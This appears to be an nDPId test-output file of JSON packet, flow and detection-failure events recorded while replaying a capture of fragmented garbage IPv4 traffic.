+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":607071,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":607084,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAnVoZ2tmZHNi"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1534244032907,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":27502,"dst_port":30307,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907272,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAmtudmMvLnRnZnRnP0dSP0cRsQAA"} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907313,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907321,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907329,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907337,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907345,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907355,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907439,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907447,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907455,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907462,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907470,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907478,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907486,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907495,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907504,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907576,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907583,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907598,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907606,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907614,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907621,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907629,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907638,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907647,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907654,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907661,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907668,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907675,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907683,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907692,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907699,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907706,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907713,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907720,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907729,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907738,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":907744,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 